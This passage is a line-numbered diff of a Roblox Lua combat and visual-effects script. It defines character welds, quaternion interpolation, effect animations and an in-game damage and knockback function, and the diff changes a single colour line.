1899 | fenbarmana4.TextYAlignment="Center" | |
1900 | fenbarmana4.Position=UDim2.new(0,0,-0.3,0) | |
1901 | fenbarmana4.Size=UDim2.new(4,0,0.2,0) | |
1902 | fenbarmana4.FontSize="Size9" | |
1903 | fenbarmana4.TextStrokeTransparency=0 | |
1904 | fenbarmana4.TextColor=BrickColor.new("White") | |
1905 | ||
1906 | Mouse=Player:GetMouse() | |
1907 | --save shoulders | |
1908 | RSH, LSH=nil, nil | |
1909 | --welds | |
1910 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
1911 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
1912 | LH=Torso["Left Hip"] | |
1913 | RH=Torso["Right Hip"] | |
1914 | TorsoColor=BrickColor.new("Really black") | |
1915 | function NoOutline(Part) | |
1916 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
1917 | end | |
1918 | player=Player | |
1919 | ch=Character | |
1920 | RSH=ch.Torso["Right Shoulder"] | |
1921 | LSH=ch.Torso["Left Shoulder"] | |
1922 | -- | |
1923 | RSH.Parent=nil | |
1924 | - | local Color1=BrickColor.new("Royal purple") |
1924 | + | |
1925 | -- | |
1926 | RW.Name="Right Shoulder" | |
1927 | RW.Part0=ch.Torso | |
1928 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
1929 | RW.C1=cf(0, 0.5, 0) | |
1930 | RW.Part1=ch["Right Arm"] | |
1931 | RW.Parent=ch.Torso | |
1932 | -- | |
1933 | LW.Name="Left Shoulder" | |
1934 | LW.Part0=ch.Torso | |
1935 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
1936 | LW.C1=cf(0, 0.5, 0) | |
1937 | LW.Part1=ch["Left Arm"] | |
1938 | LW.Parent=ch.Torso | |
1939 | ||
1940 | ||
1941 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
1942 | local fp=it("Part") | |
1943 | fp.formFactor=formfactor | |
1944 | fp.Parent=parent | |
1945 | fp.Reflectance=reflectance | |
1946 | fp.Transparency=transparency | |
1947 | fp.CanCollide=false | |
1948 | fp.Locked=true | |
1949 | fp.BrickColor=brickcolor | |
1950 | fp.Name=name | |
1951 | fp.Size=size | |
1952 | fp.Position=Torso.Position | |
1953 | NoOutline(fp) | |
1954 | fp.Material="Neon" | |
1955 | fp:BreakJoints() | |
1956 | return fp | |
1957 | end | |
1958 | ||
1959 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
1960 | local mesh=it(Mesh) | |
1961 | mesh.Parent=part | |
1962 | if Mesh=="SpecialMesh" then | |
1963 | mesh.MeshType=meshtype | |
1964 | if meshid~="nil" then | |
1965 | mesh.MeshId="http://www.roblox.com/asset/?id="..meshid | |
1966 | end | |
1967 | end | |
1968 | mesh.Offset=offset | |
1969 | mesh.Scale=scale | |
1970 | return mesh | |
1971 | end | |
1972 | ||
1973 | function weld(parent,part0,part1,c0) | |
1974 | local weld=it("Weld") | |
1975 | weld.Parent=parent | |
1976 | weld.Part0=part0 | |
1977 | weld.Part1=part1 | |
1978 | weld.C0=c0 | |
1979 | return weld | |
1980 | end | |
1981 | ||
1982 | local Color1=BrickColor.new("Really black") | |
1983 | ||
1984 | local bodvel=Instance.new("BodyVelocity") | |
1985 | local bg=Instance.new("BodyGyro") | |
1986 | ||
1987 | function swait(num) | |
1988 | if num==0 or num==nil then | |
1989 | game:service'RunService'.Stepped:wait(0) | |
1990 | else | |
1991 | for i=0,num do | |
1992 | game:service'RunService'.Stepped:wait(0) | |
1993 | end | |
1994 | end | |
1995 | end | |
1996 | ||
1997 | ||
1998 | so = function(id,par,vol,pit) | |
1999 | coroutine.resume(coroutine.create(function() | |
2000 | local sou = Instance.new("Sound",par or workspace) | |
2001 | sou.Volume=vol | |
2002 | sou.Pitch=pit or 1 | |
2003 | sou.SoundId=id | |
2004 | swait() | |
2005 | sou:play() | |
2006 | game:GetService("Debris"):AddItem(sou,6) | |
2007 | end)) | |
2008 | end | |
2009 | ||
2010 | function clerp(a,b,t) | |
2011 | local qa = {QuaternionFromCFrame(a)} | |
2012 | local qb = {QuaternionFromCFrame(b)} | |
2013 | local ax, ay, az = a.x, a.y, a.z | |
2014 | local bx, by, bz = b.x, b.y, b.z | |
2015 | local _t = 1-t | |
2016 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
2017 | end | |
2018 | ||
2019 | function QuaternionFromCFrame(cf) | |
2020 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
2021 | local trace = m00 + m11 + m22 | |
2022 | if trace > 0 then | |
2023 | local s = math.sqrt(1 + trace) | |
2024 | local recip = 0.5/s | |
2025 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
2026 | else | |
2027 | local i = 0 | |
2028 | if m11 > m00 then | |
2029 | i = 1 | |
2030 | end | |
2031 | if m22 > (i == 0 and m00 or m11) then | |
2032 | i = 2 | |
2033 | end | |
2034 | if i == 0 then | |
2035 | local s = math.sqrt(m00-m11-m22+1) | |
2036 | local recip = 0.5/s | |
2037 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
2038 | elseif i == 1 then | |
2039 | local s = math.sqrt(m11-m22-m00+1) | |
2040 | local recip = 0.5/s | |
2041 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
2042 | elseif i == 2 then | |
2043 | local s = math.sqrt(m22-m00-m11+1) | |
2044 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
2045 | end | |
2046 | end | |
2047 | end | |
2048 | ||
2049 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
2050 | local xs, ys, zs = x + x, y + y, z + z | |
2051 | local wx, wy, wz = w*xs, w*ys, w*zs | |
2052 | local xx = x*xs | |
2053 | local xy = x*ys | |
2054 | local xz = x*zs | |
2055 | local yy = y*ys | |
2056 | local yz = y*zs | |
2057 | local zz = z*zs | |
2058 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
2059 | end | |
2060 | ||
2061 | function QuaternionSlerp(a, b, t) | |
2062 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
2063 | local startInterp, finishInterp; | |
2064 | if cosTheta >= 0.0001 then | |
2065 | if (1 - cosTheta) > 0.0001 then | |
2066 | local theta = math.acos(cosTheta) | |
2067 | local invSinTheta = 1/math.sin(theta) | |
2068 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
2069 | finishInterp = math.sin(t*theta)*invSinTheta | |
2070 | else | |
2071 | startInterp = 1-t | |
2072 | finishInterp = t | |
2073 | end | |
2074 | else | |
2075 | if (1+cosTheta) > 0.0001 then | |
2076 | local theta = math.acos(-cosTheta) | |
2077 | local invSinTheta = 1/math.sin(theta) | |
2078 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
2079 | finishInterp = math.sin(t*theta)*invSinTheta | |
2080 | else | |
2081 | startInterp = t-1 | |
2082 | finishInterp = t | |
2083 | end | |
2084 | end | |
2085 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
2086 | end | |
2087 | ||
2088 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
2089 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
2090 | end | |
2091 | ||
2092 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
2093 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2094 | prt.Anchored=true | |
2095 | prt.CFrame=cframe | |
2096 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
2097 | --http://www.roblox.com/asset/?id=4770560 | |
2098 | game:GetService("Debris"):AddItem(prt,2) | |
2099 | CF=prt.CFrame | |
2100 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
2101 | for i=0,1,0.2 do | |
2102 | wait() | |
2103 | Part.CFrame=CF*cf(0,0,-0.4) | |
2104 | end | |
2105 | for i=0,1,delay do | |
2106 | wait() | |
2107 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
2108 | Mesh.Scale=Mesh.Scale | |
2109 | end | |
2110 | for i=0,1,0.1 do | |
2111 | wait() | |
2112 | Part.Transparency=i | |
2113 | end | |
2114 | Part.Parent=nil | |
2115 | end),prt,msh,CF) | |
2116 | end | |
2117 | ||
2118 | function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2119 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2120 | prt.Anchored=true | |
2121 | prt.CFrame=cframe | |
2122 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2123 | game:GetService("Debris"):AddItem(prt,5) | |
2124 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2125 | for i=0,1,delay do | |
2126 | wait() | |
2127 | Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2128 | Part.Transparency=i | |
2129 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2130 | end | |
2131 | Part.Parent=nil | |
2132 | end),prt,msh) | |
2133 | end | |
2134 | ||
2135 | function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2136 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2137 | prt.Anchored=false | |
2138 | prt.CFrame=cframe | |
2139 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2140 | local wld=weld(prt,prt,Parent,cframe) | |
2141 | game:GetService("Debris"):AddItem(prt,5) | |
2142 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2143 | for i=0,1,delay do | |
2144 | wait() | |
2145 | Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe | |
2146 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2147 | Part.Transparency=i | |
2148 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2149 | end | |
2150 | Part.Parent=nil | |
2151 | end),prt,msh,wld) | |
2152 | end | |
2153 | ||
2154 | function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2155 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2156 | prt.Anchored=false | |
2157 | prt.CFrame=cframe | |
2158 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2159 | local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) | |
2160 | game:GetService("Debris"):AddItem(prt,5) | |
2161 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2162 | for i=0,1,delay do | |
2163 | wait() | |
2164 | Weld.C0=euler(i*20,0,0) | |
2165 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2166 | Part.Transparency=i | |
2167 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2168 | end | |
2169 | Part.Parent=nil | |
2170 | end),prt,msh,wld) | |
2171 | end | |
2172 | ||
2173 | function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2174 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2175 | prt.Anchored=true | |
2176 | prt.CFrame=cframe | |
2177 | local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2178 | game:GetService("Debris"):AddItem(prt,2) | |
2179 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2180 | for i=0,1,delay do | |
2181 | wait() | |
2182 | Part.CFrame=Part.CFrame | |
2183 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2184 | local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2185 | prt2.Anchored=true | |
2186 | prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2187 | local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) | |
2188 | game:GetService("Debris"):AddItem(prt2,2) | |
2189 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2190 | for i=0,1,0.1 do | |
2191 | wait() | |
2192 | Part.CFrame=Part.CFrame*cf(0,0.5,0) | |
2193 | end | |
2194 | Part.Parent=nil | |
2195 | end),prt2,msh2) | |
2196 | end | |
2197 | for i=0,1,delay*2 do | |
2198 | wait() | |
2199 | Part.CFrame=Part.CFrame | |
2200 | Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) | |
2201 | end | |
2202 | Part.Parent=nil | |
2203 | end),prt,msh) | |
2204 | end | |
2205 | ||
2206 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2207 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2208 | prt.Anchored=true | |
2209 | prt.CFrame=cframe | |
2210 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2211 | game:GetService("Debris"):AddItem(prt,2) | |
2212 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2213 | for i=0,1,delay do | |
2214 | wait() | |
2215 | Part.CFrame=Part.CFrame | |
2216 | Part.Transparency=i | |
2217 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2218 | end | |
2219 | Part.Parent=nil | |
2220 | end),prt,msh) | |
2221 | end | |
2222 | ||
2223 | function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) | |
2224 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2225 | prt.Anchored=true | |
2226 | prt.CFrame=cframe*euler(x2,y2,z2) | |
2227 | --"http://www.roblox.com/asset/?id=168892465" | |
2228 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) | |
2229 | game:GetService("Debris"):AddItem(prt,2) | |
2230 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2231 | for i=0,1,0.03 do | |
2232 | wait() | |
2233 | Part.CFrame=Part.CFrame | |
2234 | Part.Transparency=i | |
2235 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2236 | end | |
2237 | Part.Parent=nil | |
2238 | end),prt,msh) | |
2239 | end | |
2240 | ||
2241 | function BreakEffect(brickcolor,cframe,x1,y1,z1) | |
2242 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2243 | prt.Anchored=true | |
2244 | prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2245 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2246 | game:GetService("Debris"):AddItem(prt,2) | |
2247 | coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) | |
2248 | CF=Part.CFrame | |
2249 | Numbb=0 | |
2250 | randnumb=math.random()/10 | |
2251 | rand1=math.random()/10 | |
2252 | for i=0,1,rand1 do | |
2253 | wait() | |
2254 | CF=CF*cf(0,math.random()/2,0) | |
2255 | --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) | |
2256 | Part.CFrame=CF*euler(Numbb,0,0) | |
2257 | Part.Transparency=i | |
2258 | Numbb=Numbb+randnumb | |
2259 | end | |
2260 | Part.Parent=nil | |
2261 | end),prt,CF,Numbb,randnumb) | |
2262 | end | |
2263 | ||
2264 | function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2265 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2266 | prt.Anchored=true | |
2267 | prt.CFrame=cframe | |
2268 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) | |
2269 | game:GetService("Debris"):AddItem(prt,5) | |
2270 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2271 | for i=0,1,delay do | |
2272 | wait() | |
2273 | Part.CFrame=Part.CFrame*euler(0,0.7,0) | |
2274 | Part.Transparency=i | |
2275 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2276 | end | |
2277 | Part.Parent=nil | |
2278 | end),prt,msh) | |
2279 | end | |
2280 | ||
2281 | function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2282 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2283 | prt.Anchored=true | |
2284 | prt.CFrame=cframe | |
2285 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) | |
2286 | game:GetService("Debris"):AddItem(prt,2) | |
2287 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2288 | for i=0,1,delay do | |
2289 | wait() | |
2290 | Part.CFrame=Part.CFrame*cf(0,y3/2,0) | |
2291 | Part.Transparency=i | |
2292 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2293 | end | |
2294 | Part.Parent=nil | |
2295 | end),prt,msh) | |
2296 | end | |
2297 | ||
2298 | function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) | |
2299 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2300 | prt.Anchored=true | |
2301 | prt.CFrame=cframe*cf(x,y,z) | |
2302 | msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) | |
2303 | game:GetService("Debris"):AddItem(prt,5) | |
2304 | coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) | |
2305 | local num=math.random() | |
2306 | local num2=math.random(-3,2)+math.random() | |
2307 | local numm=0 | |
2308 | for i=0,1,delay*2 do | |
2309 | swait() | |
2310 | Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) | |
2311 | Part.Transparency=i | |
2312 | numm=numm+0.01 | |
2313 | end | |
2314 | Part.Parent=nil | |
2315 | Mesh.Parent=nil | |
2316 | end),prt,msh,x,y,z) | |
2317 | end | |
2318 | ||
2319 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
2320 | if hit.Parent==nil then | |
2321 | return | |
2322 | end | |
2323 | h=hit.Parent:FindFirstChild("Humanoid") | |
2324 | for _,v in pairs(hit.Parent:children()) do | |
2325 | if v:IsA("Humanoid") then | |
2326 | h=v | |
2327 | end | |
2328 | end | |
2329 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
2330 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
2331 | end | |
2332 | if hit.Parent.className=="Hat" then | |
2333 | hit=hit.Parent.Parent:findFirstChild("Head") | |
2334 | end | |
2335 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
2336 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
2337 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
2338 | return | |
2339 | end]] | |
2340 | -- hs(hit,1.2) | |
2341 | c=Instance.new("ObjectValue") | |
2342 | c.Name="creator" | |
2343 | c.Value=game:service("Players").LocalPlayer | |
2344 | c.Parent=h | |
2345 | game:GetService("Debris"):AddItem(c,.5) | |
2346 | Damage=math.random(minim,maxim) | |
2347 | -- h:TakeDamage(Damage) | |
2348 | blocked=false | |
2349 | block=hit.Parent:findFirstChild("Block") | |
2350 | if block~=nil then | |
2351 | print(block.className) | |
2352 | if block.className=="NumberValue" then | |
2353 | if block.Value>0 then | |
2354 | blocked=true | |
2355 | if decreaseblock==nil then | |
2356 | block.Value=block.Value-1 | |
2357 | end | |
2358 | end | |
2359 | end | |
2360 | if block.className=="IntValue" then | |
2361 | if block.Value>0 then | |
2362 | blocked=true | |
2363 | if decreaseblock~=nil then | |
2364 | block.Value=block.Value-1 | |
2365 | end | |
2366 | end | |
2367 | end | |
2368 | end | |
2369 | if blocked==false then | |
2370 | -- h:TakeDamage(Damage) | |
2371 | h.Health=h.Health-Damage | |
2372 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
2373 | else | |
2374 | h.Health=h.Health-(Damage/2) | |
2375 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
2376 | end | |
2377 | if Type=="Knockdown" then | |
2378 | hum=hit.Parent.Humanoid | |
2379 | hum.PlatformStand=true | |
2380 | coroutine.resume(coroutine.create(function(HHumanoid) | |
2381 | swait(1) | |
2382 | HHumanoid.PlatformStand=false | |
2383 | end),hum) | |
2384 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
2385 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
2386 | local bodvol=Instance.new("BodyVelocity") | |
2387 | bodvol.velocity=angle*knockback | |
2388 | bodvol.P=5000 | |
2389 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
2390 | bodvol.Parent=hit | |
2391 | rl=Instance.new("BodyAngularVelocity") | |
2392 | rl.P=3000 | |
2393 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2394 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
2395 | rl.Parent=hit | |
2396 | game:GetService("Debris"):AddItem(bodvol,.5) | |
2397 | game:GetService("Debris"):AddItem(rl,.5) | |
2398 | elseif Type=="Normal" then | |
2399 | vp=Instance.new("BodyVelocity") | |
2400 | vp.P=500 | |
2401 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
2402 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
2403 | if KnockbackType==1 then | |
2404 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
2405 | elseif KnockbackType==2 then | |
2406 | vp.velocity=Property.CFrame.lookVector*knockback | |
2407 | end | |
2408 | if knockback>0 then | |
2409 | vp.Parent=hit.Parent.Torso | |
2410 | end | |
2411 | game:GetService("Debris"):AddItem(vp,.5) | |
2412 | elseif Type=="Up" then | |
2413 | local bodyVelocity=Instance.new("BodyVelocity") | |
2414 | bodyVelocity.velocity=vt(0,10,0) | |
2415 | bodyVelocity.P=1000 | |
2416 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
2417 | bodyVelocity.Parent=hit | |
2418 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
2419 | rl=Instance.new("BodyAngularVelocity") | |
2420 | rl.P=3000 | |
2421 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2422 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2423 | rl.Parent=hit | |
2424 | game:GetService("Debris"):AddItem(rl,.5) | |
2425 | elseif Type=="Snare" then | |
2426 | bp=Instance.new("BodyPosition") | |
2427 | bp.P=2000 | |
2428 | bp.D=100 | |
2429 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2430 | bp.position=hit.Parent.Torso.Position | |
2431 | bp.Parent=hit.Parent.Torso | |
2432 | game:GetService("Debris"):AddItem(bp,1) | |
2433 | elseif Type=="Target" then | |
2434 | if Targetting==false then | |
2435 | ZTarget=hit.Parent.Torso | |
2436 | coroutine.resume(coroutine.create(function(Part) | |
2437 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2438 | swait(5) | |
2439 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2440 | end),ZTarget) | |
2441 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
2442 | targetgui=Instance.new("BillboardGui") | |
2443 | targetgui.Parent=ZTarget | |
2444 | targetgui.Size=UDim2.new(10,100,10,100) | |
2445 | targ=Instance.new("ImageLabel") | |
2446 | targ.Parent=targetgui | |
2447 | targ.BackgroundTransparency=1 | |
2448 | targ.Image="rbxassetid://4834067" | |
2449 | targ.Size=UDim2.new(1,0,1,0) | |
2450 | cam.CameraType="Scriptable" | |
2451 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2452 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2453 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2454 | Targetting=true | |
2455 | RocketTarget=ZTarget | |
2456 | for i=1,Property do | |
2457 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
2458 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
2459 | swait() | |
2460 | end | |
2461 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
2462 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2463 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2464 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
2465 | end | |
2466 | Targetting=false | |
2467 | RocketTarget=nil | |
2468 | targetgui.Parent=nil | |
2469 | cam.CameraType="Custom" | |
2470 | end | |
2471 | end | |
2472 | debounce=Instance.new("BoolValue") | |
2473 | debounce.Name="DebounceHit" | |
2474 | debounce.Parent=hit.Parent | |
2475 | debounce.Value=true | |
2476 | game:GetService("Debris"):AddItem(debounce,Delay) | |
2477 | c=Instance.new("ObjectValue") | |
2478 | c.Name="creator" | |
2479 | c.Value=Player | |
2480 | c.Parent=h | |
2481 | game:GetService("Debris"):AddItem(c,.5) | |
2482 | CRIT=false | |
2483 | hitDeb=true | |
2484 | AttackPos=6 | |
2485 | end | |
2486 | end | |
2487 | ||
2488 | showDamage=function(Char,Dealt,du,Color) | |
2489 | m=Instance.new("Model") | |
2490 | m.Name=tostring(Dealt) | |
2491 | h=Instance.new("Humanoid") | |
2492 | h.Health=0 | |
2493 | h.MaxHealth=0 | |
2494 | h.Parent=m | |
2495 | c=Instance.new("Part") | |
2496 | c.Transparency=0 | |
2497 | c.BrickColor=TorsoColor | |
2498 | c.Name="Head" | |
2499 | c.TopSurface=0 | |
2500 | c.BottomSurface=0 | |
2501 | c.formFactor="Plate" | |
2502 | c.Size=Vector3.new(1,.4,1) | |
2503 | ms=Instance.new("CylinderMesh") | |
2504 | ms.Scale=Vector3.new(.8,.8,.8) | |
2505 | so("http://www.roblox.com/asset/?id=199149269",c,1,1) | |
2506 | if CRIT==true then | |
2507 | ms.Scale=Vector3.new(1,1.25,1) | |
2508 | end | |
2509 | ms.Parent=c | |
2510 | c.Reflectance=0 | |
2511 | Instance.new("BodyGyro").Parent=c | |
2512 | c.Parent=m | |
2513 | if Char:findFirstChild("Head")~=nil then | |
2514 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2515 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
2516 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2517 | end | |
2518 | f=Instance.new("BodyPosition") | |
2519 | f.P=2000 | |
2520 | f.D=100 | |
2521 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2522 | f.position=c.Position+Vector3.new(0,3,0) | |
2523 | f.Parent=c | |
2524 | game:GetService("Debris"):AddItem(m,.5+du) | |
2525 | c.CanCollide=false | |
2526 | m.Parent=workspace | |
2527 | c.CanCollide=false | |
2528 | end | |
2529 | ||
2530 | Player=game:GetService('Players').LocalPlayer | |
2531 | Character=Player.Character | |
2532 | Mouse=Player:GetMouse() | |
2533 | m=Instance.new('Model',Character) | |
2534 | ||
2535 | ||
2536 | local function weldBetween(a, b) | |
2537 | local weldd = Instance.new("ManualWeld") | |
2538 | weldd.Part0 = a | |
2539 | weldd.Part1 = b | |
2540 | weldd.C0 = CFrame.new() | |
2541 | weldd.C1 = b.CFrame:inverse() * a.CFrame | |
2542 | weldd.Parent = a | |
2543 | return weldd | |
2544 | end | |
2545 | ||
2546 | it=Instance.new | |
2547 | ||
2548 | function nooutline(part) | |
2549 | part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 | |
2550 | end | |
2551 | ||
